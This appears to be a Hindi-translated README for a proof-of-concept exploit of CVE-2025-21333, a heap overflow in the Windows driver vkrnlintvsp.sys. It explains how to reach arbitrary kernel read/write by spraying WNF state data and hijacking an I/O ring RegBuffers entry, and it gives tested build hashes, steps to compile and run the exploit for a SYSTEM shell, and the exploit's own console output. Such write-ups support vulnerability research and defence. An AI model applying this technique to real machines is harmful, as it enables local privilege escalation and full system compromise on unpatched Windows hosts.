
CVE-2025-21333 हीप-आधारित बफ़र ओवरफ़्लो के लिए POC एक्सप्लॉइट। यह WNF स्टेट डेटा और I/O रिंग IOP_MC_BUFFER_ENTRY का उपयोग करता है।
प्रूफ ऑफ कॉन्सेप्ट जो CVE-2025-21333 का शोषण करता है vkrnlintvsp.sys में (बहुत विश्वसनीय नहीं है, Requirements and Limitations अनुभाग देखें)। References अनुभाग के अंतर्गत उन लोगों के लिए बहुत उपयोगी संसाधन हैं जो एक्सप्लॉइट के साथ खेलना चाहते हैं।
भेद्यता और एक्सप्लॉइट का विस्तृत विश्लेषण यहाँ उपलब्ध है।
यह भेद्यता खतरे वाले अभिकर्ताओं (threat actors) द्वारा सक्रिय रूप से शोषित होते हुए पाई गई थी।
Windows 11 23h2 पर परीक्षण किया गया।
यह Windows 11 24h2 पर भी काम कर सकता है, लेकिन मैंने इसका परीक्षण नहीं किया।
नीचे ntoskrnl.exe और vkrnlintvsp.sys के हैश दिए गए हैं जिनका उपयोग POC के परीक्षण के लिए किया गया था।
PS C:\Windows\System32\drivers> get-filehash .\vkrnlintvsp.sys
Algorithm Hash Path
--------- ---- ----
SHA256 28948C65EF108AA5B43E3D10EE7EA7602AEBA0245305796A84B4F9DBDEDDDF77 C:\Windows\System32\drivers\v...
PS C:\Windows\System32\drivers>
PS C:\Windows\System32> Get-FileHash ntoskrnl.exe
Algorithm Hash Path
--------- ---- ----
SHA256 999C51D12CDF17A57054068D909E88E1587A9A715F15E0DE9E32F4AA4875C473 C:\Windows\System32\ntoskrnl.exe
PS C:\Windows\System32>
यह कर्नेल पतों को लीक करने के लिए NtQuerySystemInformation का उपयोग नहीं करता है और न ही मनमाना read/write प्राप्त करने के लिए PreviousMode का उपयोग करता है।
इसके बजाय, यह Paged Pool में _IOP_MC_BUFFER_ENTRY की ओर संकेतकों (pointers) की एक सरणी (array) आवंटित करता है और पहले पॉइंटर को user-space में स्थित एक दुर्भावनापूर्ण IOP_MC_BUFFER_ENTRY* से अधिलेखित कर देता है। BuildIoRingWriteFile()/BuildIoRingReadFile() का उपयोग करके कर्नेल में मनमाना read/write प्राप्त करना संभव है।
_IOP_MC_BUFFER_ENTRY की ओर संकेतकों की सरणी PoolTag IrRB वाली एक वस्तु है।
यह तकनीक Yarden Shafir द्वारा प्रलेखित तकनीक से थोड़ी भिन्न है यहाँ। _IORING_OBJECT.RegBuffers द्वारा संकेतित पूरी सरणी पर नियंत्रण लेने के बजाय, यह तकनीक _IORING_OBJECT.RegBuffers द्वारा संकेतित सरणी में केवल एक प्रविष्टि पर नियंत्रण लेती है।
चूँकि पॉइंटर्स की सरणी का आकार उपयोगकर्ता द्वारा नियंत्रणीय है, इसका मतलब है कि इसका उपयोग heap-overflows और कई LFH बकेट्स के लिए UAFs से शुरू करके ring0 में विश्वसनीय मनमाना read/write प्राप्त करने के लिए किया जा सकता है।
मुझे नहीं पता कि क्या किसी ने paged pool में overflows या UAFs का शोषण करने के लिए यह तकनीक पहले ही साझा की है।
ये स्क्रीनशॉट poc चलाने के बाद लिए गए थे। ओवरफ्लो 0x50 ऑब्जेक्ट आकार वाले बकेट में था। ध्यान दें कि उस बकेट में RegBuffers सरणी आवंटित करना संभव था और पहला पॉइंटर user-space मेमोरी की ओर इंगित करता है।

ध्यान दें कि दुर्भावनापूर्ण प्रविष्टि Address को एक प्रक्रिया ऑब्जेक्ट पर सेट करती है। Address उस मनमाने पते से मेल खाता है जिसे हम पढ़ना/लिखना चाहते हैं (यह Yarden Shafir के लेख में पहले से अच्छी तरह वर्णित है)।

विंडोज सैंडबॉक्स सुविधा को चालू करना आवश्यक है ताकि कमजोर syscalls को कमजोर ड्राइवर द्वारा नियंत्रित किया जा सके।

मैं 0xfff0 बाइट्स का ओवरफ्लो प्राप्त करने में सफल रहा। मैं ओवरफ्लो की लंबाई को पूरी तरह से नियंत्रणीय बनाने में सक्षम नहीं था। यदि ओवरफ्लो सबसेगमेंट से बड़ा है तो आप क्रैश देख सकते हैं (यह अक्सर हो सकता है)। शायद अधिक ऑब्जेक्ट्स स्प्रे करके इस व्यवहार को कम करना संभव है।
पॉक 2 WNF स्टेट डेटा को मुक्त करता है ताकि उन स्थितियों में एक regBuffer (एक IORING_OBJECT से संबद्ध _IOP_MC_BUFFER_ENTRY की ओर संकेतकों की एक सरणी) और एक PipeAttribute को पुनः आवंटित किया जा सके। कभी-कभी, free और realloc के बीच, ऐसा हो सकता है कि किसी अन्य ड्राइवर द्वारा उस स्थिति में एक और ऑब्जेक्ट आवंटित कर दिया जाए। एक while लूप में अन्य दूषित WNF स्टेट डेटा ऑब्जेक्ट्स का उपयोग करके कई पुनः आवंटन प्रयास करना और वांछित लेआउट प्राप्त करने की संभावना बढ़ाना संभव होगा।
पॉक कोड काफी अव्यवस्थित है।
सिस्टम प्राप्त करने के बाद बेहतर है कि कंसोल में exit टाइप करके सिस्टम शेल से बाहर निकलें अन्यथा मशीन क्रैश हो जाएगी।
x64 Release संस्करण संकलित करें।
चलाएँ और एक सिस्टम शेल प्राप्त करें।
PS C:\Users\unpriv> .\CVE-2025-21333-POC.exe
Preparing...
[*] fNtCreateCrossVmEvent = 00007FFD6BC31690
[*] fNtQueryInformationProcess = 00007FFD6BC304E0
[!] WindowsSandboxClient.exe process not found
[*] spawning windows sandbox
[*] CreateProcessA returned successfully
[*] NtQueryInformationProcess returned successfully
[*] peb_addr = 0000000100335000
[*] ReadProcessMemory returned successfully
[*] ProcessParameters = 00000147B06A6430
[*] ReadProcessMemory returned successfully
[*] CommandLine = 00000147B06A6ADA
[*] CommandLine_size = 3f0
[*] commandline = C:\Windows\system32\WindowsSandboxClient.exe <ContainerId>19a1ef14-ee35-47d8-8bdb-cf4c86272272</ContainerId><AccountUser>WDAGUtilityAccount</AccountUser><AccountPassword>66387310-a27d-4a59-a688-3ab018388c9e</AccountPassword><AudioInputEnabled>true</AudioInputEnabled><ClipboardRedirectionEnabled>true</ClipboardRedirectionEnabled><RebootSupported>true</RebootSupported><SmartCardRedirectionEnabled>false</SmartCardRedirectionEnabled><FullScreenMode>false</FullScreenMode><TargetDisplay>0</TargetDisplay>
[*] extracted guid = 19a1ef14-ee35-47d8-8bdb-cf4c86272272
[*] s_guid = 19a1ef14-ee35-47d8-8bdb-cf4c86272272
Created GUID
extracted guid
0x000000: 14 ef a1 19 35 ee d8 47 8b db cf 4c 86 27 22 72 ....5..G...L.'"r
guid
0x000000: 14 ef a1 19 35 ee d8 47 8b db cf 4c 86 27 22 72 ....5..G...L.'"r